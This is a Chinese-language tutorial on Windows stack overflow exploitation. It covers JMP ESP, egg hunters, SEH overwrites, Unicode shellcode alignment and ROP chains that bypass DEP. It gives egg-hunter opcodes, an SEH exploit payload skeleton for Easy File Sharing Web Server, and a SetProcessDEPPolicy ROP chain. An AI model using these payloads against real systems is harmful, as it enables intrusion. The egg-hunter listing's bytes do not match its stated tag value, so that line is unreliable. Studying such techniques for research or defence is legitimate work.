从Linux到Windows栈溢出利用
字数 1418 2025-08-24 23:51:13
Windows栈溢出利用技术详解
1. 经典JMP ESP利用技术
JMP ESP是一种经典的栈溢出利用方式,适用于XP及之前的系统:
- 在XP及之前系统中,许多固定地址包含JMP ESP指令
- 这些系统通常没有DEP保护
- 除了系统DLL中的JMP ESP,程序自身代码中也可能存在
- 类似思路:JMP reg(只要该寄存器可控)
2. Short JMP技术
当shellcode执行部分中断时,可使用Short JMP技术:
- 通过"滑梯式"跳转完成利用
- 替代方案:使用NOP填充配合第一种技术
3. Egg Hunter技术
当缓冲区空间不足时,使用Egg Hunter技术:
Linux实现
- 依赖system call处理非法访问
- 常用系统调用:
- access(0x21):每次检查4字节
- sigaction(0x43):每次检查16字节
Windows实现
两种主要思路:
- 实现SEH处理非法访问
- 使用系统调用(NtDisplayString、IsBadReadPtr)
NtDisplayString示例代码
6681 CAFF0F or dx, 0x0fff ; 遍历内存页面
42 inc edx ; 遍历每个地址
52 push edx ; 入栈
6A43 push byte +0x43 ; NtDisplayString系统调用ID
58 pop eax ; 参数
CD2E int 0x2e ; 调用NtDisplayString
3C05 cmp al, 0x5 ; 比较
5A pop edx ; 出栈
74EF jz 0x0 ; 访问冲突则返回
B874303077 mov eax, 0x7a757368 ; 标签(zush)
8BFA mov edi, edx ; EDI设置为当前指针
AF scasd ; 比较EAX与DWORD
75EA jnz 0x5 ; 不匹配则继续
AF scasd ; 第二次比较
75E7 jnz 0x5 ; 不匹配则继续
FFE7 jmp edi ; 跳转到shellcode
注意:
- Egg Hunter需要两个相同的egg标记
- 最终执行的shellcode可能在内存其他位置
4. SEH Handler覆盖技术
利用Windows SEH机制进行栈溢出:
利用原理
- 覆盖SEH链结构(两个指针)
- 第一个指针:指向下一个SEH结构(覆盖为shellcode地址)
- 第二个指针:指向处理函数(覆盖为"pop pop ret"地址)
- 触发异常
- 执行"pop pop ret",跳转到shellcode
内存布局
junk + nseh + seh + nops + shellcode
- nseh:shellcode地址或跳转指令
- seh:"pop pop ret"地址
5. Windows安全防护机制
主要防护措施
- XOR清零:进入SEH前清零寄存器
- SafeSEH:
- 检查异常处理链是否在程序栈中
- 检查处理函数指针是否指向程序栈
- 调用RtlIsValidHandler()验证有效性
- SEHOP:
- 系统级验证SEH链表完整性
- 检查最后一个SEH结构的特殊处理函数指针
6. 实践案例分析
案例1:Easy File Sharing Web Server栈溢出
利用步骤
- 确定偏移量
- 搜索"pop pop ret"指令
- 构造payload:
pad = "/.:/" # 必要前缀
pad += "a" * 53 # 填充
nseh = "\xeb\x14\x90\x90" # jmp 0x14
seh = "\x58\x88\x01\x10" # pop pop ret地址
nops = "\x90" * 20 # NOP sled
shellcode = "\x31\xC9..." # 实际shellcode
exploit = pad + nseh + seh + nops + shellcode
案例2:Unicode程序漏洞利用
特殊挑战
- shellcode不能包含\x00截断字符
- Unicode编码会在每个字节前加\x00
解决方案
- 使用2字节覆盖nseh和seh
- 选择无害指令作为"Venetian NOP":
- 0x004100 → INC ECX + ADD [ECX],AL
- 推荐使用:0x006E00, 0x006F00等
示例payload
padding = "a" * 536
nseh = "\x41\x71" # 无害指令
seh = "\x41\x4d" # pop pop ret地址
exploit = padding + nseh + seh + "a" * 4464
Shellcode对齐技术
- 调整寄存器指向shellcode
- 使用alpha2编译器生成Unicode兼容shellcode
- 示例对齐代码:
align = (
'\x55\x71\x58\x71' # Venetian Padding
'\x05\x20\x11' # add eax,0x11002000
'\x71' # Venetian Padding
'\x2d\x17\x11' # sub eax,0x11001700
'\x71' # Venetian Padding
'\x50' # push EAX
'\x71' # Venetian Padding
'\xC3' # ret
)
案例3:ROP绕过DEP
技术要点
- 使用ROP chain调用API关闭DEP
- 可用API:
- SetProcessDEPPolicy
- VirtualProtect
- NtSetInformationProcess
- 内存布局关键:
- 保持代码执行后ESP指向shellcode
- 使用"pop r32 retn"和"pushad retn"组合
示例ROP chain
rop_gadgets = [
0x7c801d5d, # RETN
0x90909090, # nops
0x7c863e63, # POP EBP # RETN [kernel32.dll]
0x7c862144, # SetProcessDEPPolicy() [kernel32.dll]
0x7c80dfdd, # POP EBX # RETN [kernel32.dll]
0x00000000, # dwFlag
0x7c810afe, # POP EDI # RETN [kernel32.dll]
0x7c810afe, # skip 4 bytes [kernel32.dll]
0x77d23ad9, # PUSHAD # RETN [User32.dll]
]
注意:如果存在\x00限制,可通过指令运算绕过。